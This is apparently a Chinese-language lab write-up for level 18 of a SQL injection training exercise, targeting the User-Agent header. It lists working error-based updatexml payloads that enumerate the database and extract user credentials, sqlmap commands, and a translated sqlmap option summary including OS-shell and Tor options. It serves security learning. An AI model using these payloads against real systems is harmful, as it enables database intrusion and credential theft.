5.18.第十八关 http头user-agent注入

第18关攻击必要条件是必须先成功登录,使用admin:admin成功登录,显示user-agent

5.18.1手动注入
(1)判断注入类型、注入点

在user-agent内容最后加',显示报错内容,系字符型注入',注入点为user-agent,使用报错注入

(2)查询数据库类型
原始 SQL 语句
INSERT INTO uagents (uagent, ip) VALUES ('[用户输入]', '192.168.10.102')

当你注入
User-Agent: ' OR updatexml(...) OR '

实际的 SQL 会变成
INSERT INTO uagents (uagent, ip) VALUES ('' OR updatexml(1,concat(0x7e,version()),1) OR '', '192.168.10.102')
' or updatexml(1, concat(0x7e,version()),1) or '

(3)查询数据库名
' or updatexml(1, concat(0x7e,(select database())),1) or '

(4)查询表名
' or updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '

(5)查询字段名
' or updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) or '

(6)查询账号密码
' or updatexml(1, concat(0x7e,(select group_concat(id,0x3a,username,0x7e,password) from users)),1) or '

' or updatexml(1, concat(0x7e,(select username from users limit 0,1)),1) or '
' or updatexml(1, concat(0x7e,(select password from users limit 0,1)),1) or '

5.18.2sqlmap自动注入

bp抓包获取使用admin:admin成功登录的http头

sqlmap -r sql.txt -batch --level 3 --risk 3 --current-db    跑当前数据库,跑所有数据库--dbs
sqlmap -r sql.txt --level 3 --risk 3 -batch -D security --tables
搞不懂,就跑出了一个emails表,留个解决

以下是 sqlmap -h 命令输出的中文详解,核心参数已分类整理:

一、基本选项
● •**-h**:显示基础帮助信息(当前输出)。
● •**-hh:显示高级帮助**(含所有参数)。
● •**--version**:显示 sqlmap 版本。
● •**-v 0-6**:设置输出详细程度(0-安静模式,6-显示HTTP请求)。

二、目标指定(必选其一)
● •**-u URL**:测试目标URL(如 http://example.com/?id=1)。
● •**-g GOOGLEDORK:通过 Google 搜索语法**批量获取测试目标(如 inurl:.php?id=)。

三、请求配置
● •**--data="DATA"**:POST 请求的数据(如 "username=admin&password=123")。
● •**--cookie="COOKIE"**:设置 Cookie(如 "PHPSESSID=abc123")。
● •**--random-agent:使用随机 User-Agent 头**绕过简单防御。
● •**--proxy="http://ip:port"**:通过代理发送请求。
● •**--tor:使用 Tor 匿名网络**。
● •**--check-tor**:检查 Tor 连接是否正常。

四、注入设置
● •**-p TESTPARAMETER**:指定测试参数(如 -p "id,user")。
● •**--dbms=DBMS**:强制指定数据库类型(如 --dbms=mysql),加速检测。

五、检测级别
● •**--level=1-5**:
1:仅测 GET 参数(默认) → 5:测所有参数 + HTTP 头 + Referer。
● •**--risk=1-3**:
1:安全测试(默认) → 3:高危测试(可能修改数据)。

六、注入技术
● •**--technique=TECH**:
B(布尔盲注) E(报错注入) U(联合查询) S(时间盲注) T(堆叠查询) Q(内联查询)
默认:BEUSTQ(全技术检测)。

七、数据库信息枚举
● •**-a / --all:获取所有**信息(用户、库、表、数据)。
● •**-b / --banner:获取数据库版本信息**。
● •**--current-user:获取当前数据库用户名**。
● •**--current-db:获取当前数据库名**。
● •**--passwords:枚举数据库用户的密码哈希值**。
● •**--dbs**:列出所有数据库。
● •**--tables**:列出指定库的表(需配合 -D)。
● •**--columns**:列出指定表的列(需配合 -T)。
● •**--schema**:导出数据库结构。
● •**--dump:导出表数据**(需指定 -T)。
● •**--dump-all:导出所有数据库的所有表**(高危!)。
配合参数:
● •**-D DB**:指定数据库(如 -D testdb)。
● •**-T TABLE**:指定表(如 -T users)。
● •**-C COLUMN**:指定列(如 -C username,password)。

八、操作系统提权
● •**--os-shell:尝试获取系统交互式 Shell**(需高权限)。
● •**--os-pwn:尝试获取 Meterpreter/VNC 等高阶控制**。

九、通用设置
● •**--batch:自动选择默认选项**(无需用户确认)。
● •**--flush-session**:清空当前目标的缓存会话文件。

十、其他
● •**--wizard:进入新手引导模式**(简化操作)
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐